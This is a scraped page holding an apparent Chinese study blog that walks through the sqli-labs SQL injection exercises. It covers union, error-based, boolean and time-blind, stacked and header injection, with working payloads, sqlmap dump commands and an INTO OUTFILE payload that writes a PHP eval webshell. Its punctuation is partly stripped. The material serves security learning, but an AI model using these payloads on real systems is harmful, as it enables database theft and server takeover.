当前位置: 首页 > news >正文

如何做棋牌网站有没有做英语题的网站

如何做棋牌网站,有没有做英语题的网站,网站设计与开发公司,公司网站生成二维码在做题之前先复习了数据库的增删改查#xff0c;然后自己用本地的环境#xff0c;在自己建的库里面进行了sql语句的测试#xff0c;主要是回顾了一下sql注入联合注入查询的语句和sql注入的一般做题步骤。 1.获取当前数据库 2.获取数据库中的表 3.获取表中的字段名 一、sql…在做题之前先复习了数据库的增删改查然后自己用本地的环境在自己建的库里面进行了sql语句的测试主要是回顾了一下sql注入联合注入查询的语句和sql注入的一般做题步骤。 1.获取当前数据库 2.获取数据库中的表  3.获取表中的字段名 一、sql注入的原理 SQL注入是一种安全漏洞它允许攻击者通过在应用程序的输入中插入或者操作SQL命令来改变后端数据库的查询和操作。SQL注入的主要原因是代码中直接将用户输入与SQL命令拼接在一起没有进行适当的验证或清理导致输入可以被解释为SQL的一部分而不是数据。攻击者通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中再在后台 Sql 服务器上解析执行进行的攻击实现无账号登录甚至篡改数据库等它是目前黑客对数据库进行攻击的最常用手段之一。 二、sql注入的分类 根据注入技术分类有以下五种 布尔型盲注根据返回页面判断条件真假 时间型盲注用页面返回时间是否增加判断是否存在注入 基于错误的注入页面会返回错误信息 联合查询注入可以使用union的情况下 堆查询注入可以同时执行多条语句  详情可参考SQL注入上_sql的flag-CSDN博客  三、sql注入的专项练习  sql注入的一般做题步骤适用于联合查询注入和报错注入 1.判断是整数型还是字符型 判断方法输入id 1 and 11发现没有变化换成and 12有变化则为整数型 2.用 ’ 进行测试发现页面报错证明可以进行sql注入 3.判断sql注入的类型并使用相对于的方法进行解决 4.判断有几个字段 5.爆当前数据库 6.爆表明 7.爆字段名 8.爆出数据  (1)联合查询注入(sqlilabs中的less-1) 联合查询注入的原理: 首先是这个sql注入可以使用union select语句其次是将联合语句与用户输入相结合让联合语句能够在服务器上执行实现我们对数据的查询与获取在查询的过程中页面只会呈现数据中的一行数据这时候就得不到我们要的数据此时要用-将前面的注释掉也可以把-1理解为空字符那么他就会执行后面的联合语句最后实现注入 代码审计 ?php //including the Mysql connect parameters. include(../sql-connections/sql-connect.php); //这行代码引入了位于上级目录sql-connections下的sql-connect.php文件这个文件通常包含了数据库连接所需的参数和函数。 error_reporting(0); // take the variables if(isset($_GET[id])) //检查是否通过GET方法传递了名为id的参数。 { $id$_GET[id]; //如果id参数存在将其值赋给变量$id。 //logging the connection parameters to a file for analysis. $fpfopen(result.txt,a); fwrite($fp,ID:.$id.\n); fclose($fp); //日志记录部分 使用fopen, fwrite, 和 fclose 函数将ID信息追加到一个名为result.txt的文本文件中。// connectivity $sqlSELECT * FROM users WHERE id$id LIMIT 0,1; //构建SQL查询语句用于从users表中检索与给定ID匹配的用户记录。 $resultmysql_query($sql); //使用mysql_query函数执行SQL查询并将结果存储在$result中。 $row mysql_fetch_array($result); //从查询结果中获取一行数据并将其存储在$row数组中。if($row){echo font size5 color #99FF00;echo Your Login name:. $row[username];echo br;echo Your Password: .$row[password];echo /font;}else {echo font color #FFFF00;print_r(mysql_error());echo /font; } } //如果$row不为空即找到了匹配的记录则输出用户名和密码否则输出MySQL错误信息。else { echo Please input the ID as parameter with numeric value;} //如果没有通过GET方法传递id参数则输出错误消息。 ? 总体来说这段代码的目的是从数据库中检索与给定ID匹配的用户信息并将结果或错误信息显示在页面上。 方法一 手注 1.根据页面回显判断出为字符型注入且为单引号闭合方式 2.这个题也可以使用报错注入 这里使用联合注入的方法先判断出字段数判断出一共有三个字段 3.判断出当前数据库为security注意这里 需要在1之前加上-这是为了后面union语句的执行 4.判断表名输入 http://sql/Less-1/?id-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schemasecurity-- 5.判断出字段输入 http://sql/Less-1/?id-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_nameusers-- 6.爆数据输入 http://sql/Less-1/?id-1 union select 1,2,group_concat(username,id,password) from users-- 方法二 使用sqlmap 资料SQLMap使用教程从入门到入狱详细指南-CSDN博客 1.爆数据库名 python sqlmap.py -u http://sql/Less-1/?id1 --dbs --batch 2.爆表名 python sqlmap.py -u http://sql/Less-1/?id1 -D security --tables 3.爆字段 python sqlmap.py -u http://sql/Less-1/?id1 -D security -T users --columns 4.爆数据 python sqlmap.py -u http://sql/Less-1/?id1 -D security -T users -C id,username,password --dump --batch (2)报错注入(less-5) 原理 利用数据库在执行错误的sql语句时会返回相应的错误信息这些错误信息可以帮助攻击者了解数据库的结构和内容因为想要的信息会跟着报错的信息一起出现 代码审计 // 包含数据库连接参数 include(../sql-connections/sql-connect.php);// 关闭错误报告不推荐在开发环境中使用 error_reporting(0);// 检查是否存在 id GET 参数 if(isset($_GET[id])) {// 获取 id 参数的值$id $_GET[id];// 将 id 写入日志文件$fp fopen(result.txt, a);fwrite($fp, ID:.$id.\n);fclose($fp);// 构建查询语句并执行$sql SELECT * FROM users WHERE id$id LIMIT 0,1;$result mysql_query($sql); // 注意mysql_* 函数已废弃// 提取查询结果$row mysql_fetch_array($result);// 检查查询结果if($row){// 显示成功消息echo font size5 color#FFFF00;echo You are in...........;echo br;echo /font;}else {// 显示错误信息echo font size3 color#FFFF00;print_r(mysql_error()); // 显示 MySQL 错误信息echo /br/font;} } else {// 如果 id 参数不存在则显示错误消息echo Please input the ID as parameter with numeric value; } 方法一 手注 1.判断出为字符型注入且单引号为闭合方式 2. 判断出有三个字段 3.判断当前数据库 http://sql/Less-5/?id-1 and (updatexml(1,concat(~,database()),3))-- 4.判断表 http://sql/Less-5/?id-1 and (updatexml(1,concat(~,(select group_concat(table_name) from information_schema.tables where table_schemasecurity)),3))-- 5.判断出字段名 http://sql/Less-5/?id-1 and (updatexml(1,concat(~,(select group_concat(column_name) from information_schema.columns where table_schemasecurity and table_nameusers)),3))-- 6.得数据 方法二 sqlmap的使用(与上题做法一样) 1.爆数据库 2.爆表 3.爆字段 4.得到数据 (3) 布尔盲注(less-8) 布尔是一种类型核心是在于判断正确与否。布尔就是指这个页面有回显但是不会显示具体内容只会显示语句是否正常执行 代码审计 // 引入MySQL连接参数 include(../sql-connections/sql-connect.php);// 关闭错误报告不建议在生产环境中这么做 error_reporting(0);// 检查GET参数中是否存在id if(isset($_GET[id])) {// 获取id参数值$id$_GET[id];// 将连接参数记录到文件中$fpfopen(result.txt,a);fwrite($fp,ID:.$id.\n);fclose($fp);// 构造SQL查询语句$sqlSELECT * FROM users WHERE id$id LIMIT 0,1;// 执行SQL查询// 注意这里使用了mysql_*系列函数这是PHP的废弃函数应使用mysqli_*或PDO$resultmysql_query($sql);// 获取查询结果$row mysql_fetch_array($result);// 检查查询结果if($row){// 如果查询到数据输出提示信息echo font size5 color#FFFF00;echo You are in...........;echo br;echo /font;}else {// 如果没有查询到数据输出提示信息但这里注释掉了错误信息echo font size5 color#FFFF00;echo /br/font;echo font color #0000ff font size 3; // 注意这里font属性应该分开写// 注释掉的错误信息用于调试// echo You are in...........;// print_r(mysql_error());// echo You have an error in your SQL syntax;// 缺少关闭font标签} } else { // 如果没有提供id参数输出提示信息echo Please input the ID as parameter with numeric value; } 方法一 手注  函数 ascii() 函数返回字符ascii码值     参数 : str单字符 length() 函数返回字符串的长度     参数 : str 字符串 left() 函数返回从左至右截取固定长度的字符串     参数str,length     str : 字符串     length截取长度 substr()/substring() 函数 返回从pos位置开始到length长度的子字符串     参数strposlength     str: 字符串     pos开始位置     length 截取长 1.在测试的过程中发现不会有报错信息这个也从源代码中体现了使用布尔盲注判断出为字符型注入且由源代码可得闭合方式为单引号 2.判断字段数 3.判断数据库的长度使用length()函数长度为8 http://sql/Less-8/?id1 and length(database())8-- 4.知道了数据库的长度现在要来判断数据库的名称得到数据库名字为security ?id1 and (ascii(substr((select database()),1,1))) 115-- ?id1 and (ascii(substr((select database()),2,1))) 101-- ?id1 and (ascii(substr((select database()),3,1))) 99-- ?id1 and (ascii(substr((select database()),4,1))) 117-- ?id1 and (ascii(substr((select database()),5,1))) 114-- ?id1 and (ascii(substr((select database()),6,1))) 105-- ?id1 and (ascii(substr((select database()),7,1))) 116-- ?id1 and (ascii(substr((select database()),8,1))) 121-- 5.判断表的数量为4个 ?id1 and (select count(table_name) from information_schema.tables where table_schemadatabase())3 -- 6.分别判断这四个表的名称第一个表的长度(结果为6) ?id1 and length((select table_name from information_schema.tables where table_schemadatabase() limit 0,1))6 -- 7.判断第一个表的名称为emails剩下的表名都是以此类推得到最后的表为users 注意这里limit是控制是哪一个表例如limit 0,1是第一个表;limit 1,1是第二个表 再熟悉一下substr()函数的用法就可以了 http://sql/Less-8/?id1 and ascii(substr((select table_name from information_schema.tables where table_schemasecurity limit 0,1),1,1)) 101-- http://sql/Less-8/?id1 and ascii(substr((select table_name from information_schema.tables where table_schemasecurity limit 0,1),2,1)) 109-- http://sql/Less-8/?id1 and ascii(substr((select table_name from information_schema.tables where table_schemasecurity limit 0,1),3,1)) 97-- http://sql/Less-8/?id1 and ascii(substr((select table_name from information_schema.tables where table_schemasecurity limit 0,1),4,1)) 105-- . . . 8.爆字段的列数得到有三列 http://sql/Less-8/?id1 and (select count(column_name) from information_schema.columns where table_schemasecurity and table_nameusers) 3-- 9.爆这三个列的列明先爆第一个列的长度长度为2 http://sql/Less-8/?id1 and length((select column_name from information_schema.columns where table_schemasecurity and table_nameusers limit 0,1)) 2-- 10.爆第一个列的列名得到第一列为id其他的两个也是以此类推分别得到username,password http://sql/Less-8/?id1 and ascii(substr((select column_name from information_schema.columns where table_schemasecurity and table_nameusers limit 0,1),1,1)) 105-- http://sql/Less-8/?id1 and ascii(substr((select column_name from information_schema.columns where table_schemasecurity and table_nameusers limit 0,1),2,1)) 100--11.获取数据先判断数据的条数 http://sql/Less-8/?id1 and (select count(*) from users)13 -- 12.判断第一条数据其他数据都是类似的方法可以得到所有数据 判断第一个id的长度(长度为1) http://sql/Less-8/?id1 and length((select id from users limit 0,1))1 -- 判断第一个id的数据(数据为1) http://sql/Less-8/?id1 and ascii(substr((select id from users limit 0,1),1,1))49 -- 判断第一个username的长度(长度为4): http://sql/Less-8/?id1 and length((select username from users limit 0,1))4 -- 判断第一个username的数据(数据为Dumb): http://sql/Less-8/?id1 and ascii(substr((select username from users limit 0,1),1,1))68 -- http://sql/Less-8/?id1 and ascii(substr((select username from users limit 0,1),2,1))117 -- http://sql/Less-8/?id1 and ascii(substr((select username from users limit 0,1),3,1))109 -- http://sql/Less-8/?id1 and ascii(substr((select username from users limit 0,1),4,1))98 -- 判断第一个password的长度(长度为4) http://sql/Less-8/?id1 and length((select password from users limit 0,1))4-- 判断第一个paasword的数据(数据为Dumb) http://sql/Less-8/?id1 and ascii(substr((select password from users limit 0,1),1,1))68 -- http://sql/Less-8/?id1 and ascii(substr((select password from users limit 0,1),1,1))117 -- http://sql/Less-8/?id1 and ascii(substr((select password from users limit 0,1),1,1))109 -- http://sql/Less-8/?id1 and ascii(substr((select password from users limit 0,1),1,1))98 -- . . . 也可以用以下的方法  方法二 sqlmap的使用(与上题一样) 1.爆数据库 2.爆表名 3.爆字段 4.爆数据 (4)时间盲注(less-9) 时间注入和布尔盲注两种没有多大差别只不过时间盲注多了if函数和sleep()函数。 sleep函数是令来控制响应时间的sleep(5)就是令页面等5秒后再响应 if函数(条件条件成功返回结果条件失败返回结果)if(a,sleep(10),1)如果a结果是真的那么执行sleep(10)页面延迟10秒如果a的结果是假执行1页面不延迟。通过页面时间来判断出id参数是单引号字符串。 先进行分析: 输入任何参数页面都只有一种响应结果You are in........... 无回显位置不适合联合注入 无报错信息不适合报错注入 查询的正确与否不会影响页面的响应只有一种响应不适合布尔盲注。 综上所述考虑使用时间盲注。 资料SQLi LABS Less 9 时间盲注_sqli-labs 时间盲注脚本第九关-CSDN博客 SQL注入-时间盲注_sql时间盲注-CSDN博客 代码审计 分析代码可得:这段代码与上一个代码不一样的地方在else查询到数据与没有查到都是一样的回显由此也可以知道页面都只有一种响应结果的原因以及使用时间盲注的原因 方法一 手注 1.判断注入条件 ?id1 and if(1,sleep(5),3) -- 页面响应时间超过5秒确定存在时间盲注且闭合方式为单引号。 2.接下来与布尔盲注差不多判断数据库长度判断数据库的名称....... 判断数据库名长度 ?id1and if(length((select database()))9,sleep(5),1)-- 逐一判断数据库字符 ?id1and if(ascii(substr((select database()),1,1))115,sleep(5),1)-- 猜解表名长度(此处都是以第一个表为例) ?id1 and if(length(select table_name from information_schema.tables where table_schema database() limit 0,1)y,sleep(5),1)–- 猜解表名 ?id1 and if(ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),1,1))101,1,sleep(5))–- ?id1 and if(ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),2,1))101,1,sleep(5))–- ?id1 and if(ascii(substr((select table_name from information_schema.tables where table_schemadatabase() limit 0,1),3,1))101,1,sleep(5))–-..... 猜测字段的长度(以第一个字段为例): ?id1 and if(length(select column_name from information_schema.columns where table_schema database() and table_nameusers limit 0,1)y,sleep(5),1)–- 猜测列明 ?id1 and if(ascii(substr((select column_name from information_schema.columns where table_schemadatabase() and table_nameusers limit 0,1),1,1))101,1,sleep(5))–- ...... 猜测字段的条数 ?id1 and if((select count(*) from users)13,sleep(5),1)-- ....判断数据可参考布尔盲注方法二 sqlmap的使用 1.爆数据库 2.爆表 3.爆字段 4.爆数据 时间盲注和布尔盲注的其他方法可参考SQL注入的相关例题ctfhub_sql注入练习-CSDN博客 (5)堆叠注入(less-38) 代码审计 第38关的代码与之前的代码的不同之处主要在于出现了mysqli_multi_query()函数mysqli_multi_query()函数支持同时执行多条SQL语句‌而mysqli_query()函数一次只能执行一条SQL语句。‌由此可见可以使用堆叠注入 方法一 手注 1.判断为字符型的堆叠注入且闭合方式为单引号一共有三个字段 2.这里根据前面的方法可以知道相关的数据使用堆叠注入实现插入用户 http://sql/Less-38/?id-1;insert into users(id,username,password) values (38,less38,aaaaa)-- 3.查询插入的数据 #插入数据 insert into table_name(column_name_1,column_name_2,column_name_3) value(value_1,value_2,value_3); #删除数据 delete from table_name where column_name_2value_2; #修改数据 update table_name set column_name_1value_1 [,column_2value_2...] where 字句 #删除表 drop table table_name; #读取文件 select load_file(文件路径); 方法二 sqlmap的使用 与上面的题都是一样的这里只展示最后的结果 资料https://www.cnblogs.com/backlion/p/9721687.html (6)sql注入写马(less-7) 代码审计 第七关的源代码与他之前的关卡的代码类似只是在第七关中出现了outfile在这里先了解几个函数 into dumpfile()into outfile()load_file()详细的函数解释可以去这个网站看https://www.cnblogs.com/7-58/p/14101610.html 方法一 手注 1.首先判断出是字符型闭合方式可由源代码可得是)) 2.判断字段数一共有三个字段 3.找绝对路径 我们可以选择basedir和datadir来获取MYSQL的安装路径和数据路径。然后利用outfile和load_file()函数我们可以将查询结果写入文件并读取文件内容。 本题的路径为D:\phpstudy\phpstudy_pro\WWW\sqli-labs-master\Less-7 4.用into outfile函数写入一句话木马,其中两个\\是防转义 http://sql/Less-7/?id1)) union select 1,?php eval($_REQUEST[shell])?,3 into outfile D:\\phpstudy\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\shell.php-- 5.使用蚁剑连接 6.成功进入后门 方法二 sqlmap的使用(与前面的题一样) (7)请求头注入(less-20) 一般来说比较常见的请求头注入包括User-Agent注入Referer注入Cookie注入 代码审计 方法一 手注 1.这个题要先登录 2.使用bp抓包修改cookie部分判断出为字符型注入且为单引号闭合 3. 可以使用联合注入这里使用的是报错注入的方式先判断出数据库 and updatexml(1,concat(~,database()),3)-- 4.判断表 and updatexml(1,concat(~,(select group_concat(table_name) from information_schema.tables where table_schemasecurity)),3)-- 5.判断字段 and updatexml(1,concat(~,(select group_concat(column_name) from information_schema.columns where table_nameusers)),3)-- 6.判断数据 方法二 sqlmap的使用  由于这题是post请求所以先使用burp进行抓包然后将数据包存入txt文件中打包  用-r 选择目标txt文件先在Cookie 处加上*代表注入点 1.爆当前数据库 python sqlmap.py -r 文件路径 --current-db --batch 2.爆表 python sqlmap.py -r D:\phpstudy\phpstudy_pro\WWW\sqli-labs-master \Less-20\1.txt -D security --tables 3.爆字段 python sqlmap.py -r D:\phpstudy\phpstudy_pro\WWW\sqli-labs-master\Less-20\1.txt -D security -T users --columns 4.爆数据 python sqlmap.py -r D:\phpstudy\phpstudy_pro\WWW\sqli-labs-master\Less-20\1.txt -D security -T users -C id,username,password --dump 四、sql注入常见的绕过方式 资料常见sql注入绕过方法-CSDN博客
http://www.hkea.cn/news/14571467/

相关文章:

  • 安徽网站建设外贸丽水专业网站建设价格
  • 国内男女直接做的视频网站wordpress和apache
  • 免费企业信息查询网站wordpress阅读主题
  • 要怎么做网站安顺做网站的公司
  • 房建设计图网站如何为wordpress加评论
  • 做母婴的网站有哪些成都品牌设计
  • 综述题建设网站需要几个步骤做app 的模板下载网站有哪些内容
  • 怎么在企业站建立网站吗建设网站 注册与登陆
  • php网站开发遇到的问题商贸有限公司怎么样注册
  • 做网站设计哪里有信誉好的做pc端网站
  • 怎样做自己的摄影网站成都设计院招聘
  • 佛山市网站建设 乾图信息科技网上如何建网站卖量具
  • html的制作网站的优点代做财务报表分析网站
  • .net网站费用wordpress采集发布
  • windows2008 iis 网站配置合肥网站到首页排名
  • 友情链接网站大全提供网站制作公司电话
  • 搜索引擎大全网站企业网站备案快吗
  • 静态网站提交表单怎么做竞价托管运营哪家好
  • 建筑必看六个网站建筑网官方网站查询
  • 网站建设脚本语言有哪些图片素材网站模板
  • 建手机网站价格网站排名是怎么做
  • 电商网站 建设步骤无限流量网站建设
  • 织梦修改网站后备份共享虚拟主机 几个网站
  • 展示用网站宁波网站建设科技有限公司
  • 四平市住房和城乡建设局网站引流推广营销
  • 如何把代码放在网站首页教程免费域名注册解析
  • 高校信息化建设网站系统微信摄影网站首页设计
  • 站长之家seo一点询自己做小程序商城
  • 考证培训机构报名网站青岛网站制作seo
  • wordpress页面打开404错误seo咨询邵阳